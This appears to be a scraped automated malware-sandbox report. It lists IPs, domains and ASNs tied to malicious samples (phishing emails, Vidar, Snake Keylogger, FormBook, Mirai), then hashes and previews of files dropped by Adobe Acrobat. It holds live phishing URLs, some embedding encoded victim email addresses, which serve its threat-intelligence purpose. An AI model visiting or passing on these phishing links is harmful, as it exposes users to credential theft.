	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
2.23.209.34	MGR Rechtsanw#U00e4lte unterzeichneten Vertrag_01_30_2025 ..eml	Get hash	malicious	HTMLPhisher	Browse
	https://www.travelzoo.com/newsflash/gtt/106533631-2877830_619/?ru=https://enniumh.hostingfederall.com/leyXW/?e=jwicht@wc.com	Get hash	malicious	HTMLPhisher	Browse
	https://office365-com.loginprotected.com/landing/form/47677232-3f6e-4ada-9e1b-0dba51f37449	Get hash	malicious	HTMLPhisher	Browse
	14_49 PM.eml	Get hash	malicious	Unknown	Browse
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse
	https://ipfs.io/ipfs/bafybeif3qtzs7n5y7y3mu3ynfqixm6pdnz3klz5ga5ikrun4dhtismqxr4/msnbayo.html	Get hash	malicious	HTMLPhisher	Browse
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse
	raw_msg.eml	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.bj/url?sa==X7OlAIGMPpRbY8TuDmZGedgPVr8&rct=AmH3yN2aVslQyb8yZORNVXpvChvMS0XN35BtBNvBTuhVz4sH78uc1wRuVZzhKoL1He&sa=t&url=amp/thesmartlab.org/xmc/x7D2BE-SUREJAGZ/a2FybGEubWlsaWtpbkBjaGVyb2tlZWJyaWNrLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	https://forms.office.com/e/UfhfB5zRti	Get hash	malicious	HTMLPhisher	Browse
104.18.94.41	https://nhp.epicdrixve.ru/2b7AtfcCPBLra/	Get hash	malicious	Unknown	Browse
	MGR Rechtsanw#U00e4lte unterzeichneten Vertrag_01_30_2025 ..eml	Get hash	malicious	HTMLPhisher	Browse
	REMITTANCE ADVICE 3678866210.html	Get hash	malicious	Unknown	Browse
	Employee-Handbooks For All 2025.svg	Get hash	malicious	Unknown	Browse
	ATT475283.docx	Get hash	malicious	Unknown	Browse
	https://www.travelzoo.com/newsflash/gtt/106533631-2877830_619/?ru=https://enniumh.hostingfederall.com/leyXW/?e=jwicht@wc.com	Get hash	malicious	HTMLPhisher	Browse
	ECN-180572.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://microsoftmailBKwLKWnlNGCuWpl.tiponside.com/8kagm1/#YnJpZGdldHQuY2FzZUBmaXJzdG9udGFyaW9jdS5jb20=	Get hash	malicious	Unknown	Browse
	https://microsoftmailBKwLKWnlNGCuWpl.tiponside.com/8kagm1/#YnJpZGdldHQuY2FzZUBmaXJzdG9udGFyaW9jdS5jb20=	Get hash	malicious	Unknown	Browse
	Remittance Advice - Groupe Duval (NDA) - Tuesday-January-2025 0748 AM.pdf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
e329293.dscd.akamaiedge.net	MGR Rechtsanw#U00e4lte unterzeichneten Vertrag_01_30_2025 ..eml	Get hash	malicious	HTMLPhisher	Browse	2.23.209.17
	https://www.travelzoo.com/newsflash/gtt/106533631-2877830_619/?ru=https://enniumh.hostingfederall.com/leyXW/?e=jwicht@wc.com	Get hash	malicious	HTMLPhisher	Browse	2.23.209.17
	https://office365-com.loginprotected.com/landing/form/47677232-3f6e-4ada-9e1b-0dba51f37449	Get hash	malicious	HTMLPhisher	Browse	2.23.209.34
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	2.23.227.220
	suspect-file.txt	Get hash	malicious	HTMLPhisher	Browse	95.101.182.65
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	2.23.227.223
	14_49 PM.eml	Get hash	malicious	Unknown	Browse	2.23.209.34
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	2.23.227.220
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	2.23.209.17
	14_30 PM.eml	Get hash	malicious	Unknown	Browse	2.23.209.17
sgp.file.myqcloud.com	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	43.153.232.151
	https://drive.google.com/file/d/1VuH6O9XbLVfSbgDYbXvxZaZQLmGeGEvv/view?usp=sharing	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	raw_msg.eml	Get hash	malicious	HTMLPhisher	Browse	43.153.232.152
	https://forms.office.com/e/UfhfB5zRti	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	https://grandiose-believed-orangutan.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	43.153.232.151
	Message.eml	Get hash	malicious	HTMLPhisher	Browse	43.153.232.152
	https://www.scribd.com/document/819734669/Advice-Notification#fullscreen&from_embed	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	http://office365mailbox.statementquo.com/Ex4mG/	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	http://office365mailbox.statementquo.com/Ex4mG/	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	Purchase Order 20887_;-.htm	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
stackpath.bootstrapcdn.com	https://templates.rjuuc.edu.np	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://www.travelzoo.com/newsflash/gtt/106533631-2877830_619/?ru=https://enniumh.hostingfederall.com/leyXW/?e=jwicht@wc.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	SERVED SUMMON LETTER 01-30-2025.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://prsuiic2024.serv00.net/CORREOSPPT/correos2025-2/corr/billing.php	Get hash	malicious	Unknown	Browse	104.18.11.207
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	suspect-file.txt	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://princetonmercerregionalchamberofcommerce.growthzoneapp.com/ap/r/99a0a6caa8a74d3b9e2e07ecc4ce9bf1	Get hash	malicious	Gmail Phisher, HTMLPhisher	Browse	104.18.11.207
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	ATTT003.html	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CWVodafoneGroupPLCEU	MGR Rechtsanw#U00e4lte unterzeichneten Vertrag_01_30_2025 ..eml	Get hash	malicious	HTMLPhisher	Browse	2.23.209.17
	SoftWareGX.exe	Get hash	malicious	Vidar	Browse	2.23.209.17
	82.msi	Get hash	malicious	Unknown	Browse	2.23.209.45
	https://www.travelzoo.com/newsflash/gtt/106533631-2877830_619/?ru=https://enniumh.hostingfederall.com/leyXW/?e=jwicht@wc.com	Get hash	malicious	HTMLPhisher	Browse	2.23.209.17
	ECN-180572.pdf	Get hash	malicious	HTMLPhisher	Browse	2.23.197.184
	archifiltre-mails-win.msi	Get hash	malicious	HTMLPhisher	Browse	2.23.197.184
	Remittance Advice - Groupe Duval (NDA) - Tuesday-January-2025 0748 AM.pdf	Get hash	malicious	Unknown	Browse	2.23.197.184
	2088977183204530334.js	Get hash	malicious	Strela Downloader	Browse	2.23.197.184
	boatnet.mpsl.elf	Get hash	malicious	Mirai, Gafgyt	Browse	194.63.11.137
	2903157131867617746.js	Get hash	malicious	Strela Downloader	Browse	2.23.197.184
CLOUDFLARENETUS	Remittance Advice2000255566644.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	OVERDUE SOA REMITTANCE.scr.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	https://nhp.epicdrixve.ru/2b7AtfcCPBLra/	Get hash	malicious	Unknown	Browse	104.16.2.189
	http://amannelitecoordination.com	Get hash	malicious	HTMLPhisher	Browse	104.18.34.38
	cacaduk.captcha.ps1	Get hash	malicious	Unknown	Browse	104.17.150.117
	MGR Rechtsanw#U00e4lte unterzeichneten Vertrag_01_30_2025 ..eml	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	securedoc_20250130T095521.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	SoftWareGX.exe	Get hash	malicious	Vidar	Browse	104.17.200.65
	New Order 12960 Inquiry.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	82.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
CLOUDFLARENETUS	Remittance Advice2000255566644.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	OVERDUE SOA REMITTANCE.scr.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	https://nhp.epicdrixve.ru/2b7AtfcCPBLra/	Get hash	malicious	Unknown	Browse	104.16.2.189
	http://amannelitecoordination.com	Get hash	malicious	HTMLPhisher	Browse	104.18.34.38
	cacaduk.captcha.ps1	Get hash	malicious	Unknown	Browse	104.17.150.117
	MGR Rechtsanw#U00e4lte unterzeichneten Vertrag_01_30_2025 ..eml	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	securedoc_20250130T095521.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	SoftWareGX.exe	Get hash	malicious	Vidar	Browse	104.17.200.65
	New Order 12960 Inquiry.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	82.msi	Get hash	malicious	Unknown	Browse	172.64.41.3

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.228107764050085
Encrypted:	false
SSDEEP:	6:iOe4DjM+q2Pwkn2nKuAl9OmbnIFUtM4DmZmwy4D+MVkwOwkn2nKuAl9OmbjLJ:7e4DjM+vYfHAahFUtM4Dm/y4D+MV5JfC
MD5:	0C0C704A21004D247EA03639928E0F65
SHA1:	5B4531B23A1D433B9655C1EB7B6F9F804B446F26
SHA-256:	09CB1CE0ACBB80928ED69D5BCDCB40F0D27C6608F85BFA52A1D1A66E9FD61D54
SHA-512:	0E6AF1C72F14D9D64F8E92D2C38354E10D677A0AE5957D764BE2D0F106DCFA9C6716D240024B16FBEBA48E2B8B2C370E7A18DBBF628E24A6C7DC7B2E2BCED85E
Malicious:	false
Reputation:	low
Preview:	2025/01/30-13:24:05.879 c6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/30-13:24:05.882 c6c Recovering log #3.2025/01/30-13:24:05.883 c6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.228107764050085
Encrypted:	false
SSDEEP:	6:iOe4DjM+q2Pwkn2nKuAl9OmbnIFUtM4DmZmwy4D+MVkwOwkn2nKuAl9OmbjLJ:7e4DjM+vYfHAahFUtM4Dm/y4D+MV5JfC
MD5:	0C0C704A21004D247EA03639928E0F65
SHA1:	5B4531B23A1D433B9655C1EB7B6F9F804B446F26
SHA-256:	09CB1CE0ACBB80928ED69D5BCDCB40F0D27C6608F85BFA52A1D1A66E9FD61D54
SHA-512:	0E6AF1C72F14D9D64F8E92D2C38354E10D677A0AE5957D764BE2D0F106DCFA9C6716D240024B16FBEBA48E2B8B2C370E7A18DBBF628E24A6C7DC7B2E2BCED85E
Malicious:	false
Reputation:	low
Preview:	2025/01/30-13:24:05.879 c6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/30-13:24:05.882 c6c Recovering log #3.2025/01/30-13:24:05.883 c6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.197068572038155
Encrypted:	false
SSDEEP:	6:iOe4DKVFL+q2Pwkn2nKuAl9Ombzo2jMGIFUtM4DG6z1Zmwy4DnYLVkwOwkn2nKuA:7e4DCovYfHAa8uFUtM4Dbz1/y4Dng5JI
MD5:	6E413D4A897EE4A4494015674557CAF0
SHA1:	ECD3DCB27454A205313EA9CF7932EDBB39C34FDC
SHA-256:	7A20B910455775795D77BC1BD37D13EFBFFA6413C38EB46D8947C9A85AF0C918
SHA-512:	894F08AACD4D6C40B065FD95073733AE3D5E5A58C5E5B790A122738339D3A361F9BD07FB2A4E9DB5250F5CB90C513D4D332AEF72C3700E4A4D5A49C372628C44
Malicious:	false
Reputation:	low
Preview:	2025/01/30-13:24:05.939 1398 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/30-13:24:05.941 1398 Recovering log #3.2025/01/30-13:24:05.942 1398 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.197068572038155
Encrypted:	false
SSDEEP:	6:iOe4DKVFL+q2Pwkn2nKuAl9Ombzo2jMGIFUtM4DG6z1Zmwy4DnYLVkwOwkn2nKuA:7e4DCovYfHAa8uFUtM4Dbz1/y4Dng5JI
MD5:	6E413D4A897EE4A4494015674557CAF0
SHA1:	ECD3DCB27454A205313EA9CF7932EDBB39C34FDC
SHA-256:	7A20B910455775795D77BC1BD37D13EFBFFA6413C38EB46D8947C9A85AF0C918
SHA-512:	894F08AACD4D6C40B065FD95073733AE3D5E5A58C5E5B790A122738339D3A361F9BD07FB2A4E9DB5250F5CB90C513D4D332AEF72C3700E4A4D5A49C372628C44
Malicious:	false
Reputation:	low
Preview:	2025/01/30-13:24:05.939 1398 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/30-13:24:05.941 1398 Recovering log #3.2025/01/30-13:24:05.942 1398 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\47d325ed-2220-4003-9a13-4fd472b6036f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.95688498962853
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDNEsBdOg2HAcaq3QYiubInP7E4TX:Y2sRds2pdMHr3QYhbG7n7
MD5:	5937AE1DFF86A0F4A61E17D6F5CE18ED
SHA1:	D518333E61E21D60691027263DDE4F93D2665A7E
SHA-256:	1FAF4FDBBC095F1F6A96D4DA8024B4FB367CB3748F38B56ACE8B617B97D10979
SHA-512:	4316E13936F8E19489B22123EA3AB7197139AA0B406C154949EF934A84277AAB88FE6A78D26A7AF3FF99218AF6057645CC9CB2A2380F89E22AB933BCABF77397
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382821457835127","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":359582},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6b97d6f4-b894-4a8d-bfd0-8ce0e6126676.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF59af1b.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4730
Entropy (8bit):	5.257083254151056
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo79EpHXRsHZ:etJCV4FiN/jTN/2r8Mta02fEhgO73goF
MD5:	5730089C8201CE66D3FB952E5264833E
SHA1:	1E569D91961955207FBB06ED6A11692335CB6DD3
SHA-256:	9900E358A9D91B6772D3395143C9BBB2C693E2598F331804845EE3475BAD9ACA
SHA-512:	727F0B3BFCC92454618C4C86EDE1CC3D8FBDD0A048BDD7D498F1CC7AD8E8B04704D06AF1566B0503E35C2850FFE2C401CD930C997A2EF65BCA71D6B327C7A736
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.188996005405567
Encrypted:	false
SSDEEP:	6:iOe4DmblL+q2Pwkn2nKuAl9OmbzNMxIFUtM4DeZO1Zmwy4DcMFLVkwOwkn2nKuAo:7e4DzvYfHAa8jFUtM4D+O1/y4DcQ5Jfv
MD5:	45827CC4A98CC69B7A62690005141E86
SHA1:	E03B3DAD364FFE48AA56B7EB15CC80360F53D982
SHA-256:	B20BE70EA69F49FDF0573A83C5FC3FA503B81FDAAF8FDEB1335AE9251F8C0898
SHA-512:	286C5D7D4CC6CF2E80B6BE0202085791D00D895774AC8EAA678FFB8F687B2071BAA1AFB57D2AF3FD9AB47EC94A716C33347FDE3E2F479226D965411BEC1CD60D
Malicious:	false
Preview:	2025/01/30-13:24:06.028 1398 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/30-13:24:06.029 1398 Recovering log #3.2025/01/30-13:24:06.030 1398 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.188996005405567
Encrypted:	false
SSDEEP:	6:iOe4DmblL+q2Pwkn2nKuAl9OmbzNMxIFUtM4DeZO1Zmwy4DcMFLVkwOwkn2nKuAo:7e4DzvYfHAa8jFUtM4D+O1/y4DcQ5Jfv
MD5:	45827CC4A98CC69B7A62690005141E86
SHA1:	E03B3DAD364FFE48AA56B7EB15CC80360F53D982
SHA-256:	B20BE70EA69F49FDF0573A83C5FC3FA503B81FDAAF8FDEB1335AE9251F8C0898
SHA-512:	286C5D7D4CC6CF2E80B6BE0202085791D00D895774AC8EAA678FFB8F687B2071BAA1AFB57D2AF3FD9AB47EC94A716C33347FDE3E2F479226D965411BEC1CD60D
Malicious:	false
Preview:	2025/01/30-13:24:06.028 1398 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/30-13:24:06.029 1398 Recovering log #3.2025/01/30-13:24:06.030 1398 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250130182411Z-189.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
Category:	dropped
Size (bytes):	65110
Entropy (8bit):	2.0287398481043417
Encrypted:	false
SSDEEP:	192:Mvm+U+7zNcqb0bCsMNIrbMzTZVa2zx8B1ffqUW4hqmaXar:Me+U+7zNZwCsMNGbM3xzxafiZ4EVKr
MD5:	3E7E97C033EE10A32BEFAB8BB1276444
SHA1:	15C005AE9693119B0930BEA561111397B2673DFF
SHA-256:	11939072BDD2ED74F774262A742B75426FCF42DD895E12D3E9E7082C7EDB441F
SHA-512:	1336AEC07D953881FCA71D9EA69B5586C44A4D32782C182123B76F5E150FA83AA87DD741E9E8FC43125ACE3E8D8D4C21D1E3DF8D6F313F672539177DC23B8706
Malicious:	false
Preview:	BMV.......6...(...k...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444919905993639
Encrypted:	false
SSDEEP:	384:yezci5toiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rPs3OazzU89UTTgUL
MD5:	E948A2A796C43C3976CA7E673C281EBA
SHA1:	A472352B404C9A1FC81D95FFFF3BA9BAC1AE3E63
SHA-256:	E384D7C1783B62EAC81186FA2561A043F03820DA49023EE94D038DB7975C2AA2
SHA-512:	C8254D9628086AA2FD4E88B2391B23B5E8DECF40D0D8EF2EF99C2CF5951FD79C94502765B4F54E4398FCA2983C979BA79C87BBA35B1E4976F8C884F1CBA991A9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.776075353708424
Encrypted:	false
SSDEEP:	48:7Mzp/E2ioyVaioy9oWoy1Cwoy1OKOioy1noy1AYoy1Wioy1hioybioyUoy1noy11:7EpjuaFBXKQlTb9IVXEBodRBk9
MD5:	BE99932A4803DAC5B5149E5D12D58849
SHA1:	493D0C4B3A21088493BEF64156BDD936BD819E35
SHA-256:	E7F9013AC48602667E9EDEA80E6028F297F8866C4B65B2EF3A7715EF3DC6076D
SHA-512:	782B6DB7B395F90D972DDB29A6A8D8FA6F147BBBDEDE7569B650E5300F2B8537F8AB2860F9B0892712E08D3ED3D0695FCADA0BF6D05B7DB4EF256DA61DF254A9
Malicious:	false
Preview:	.... .c.....<..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
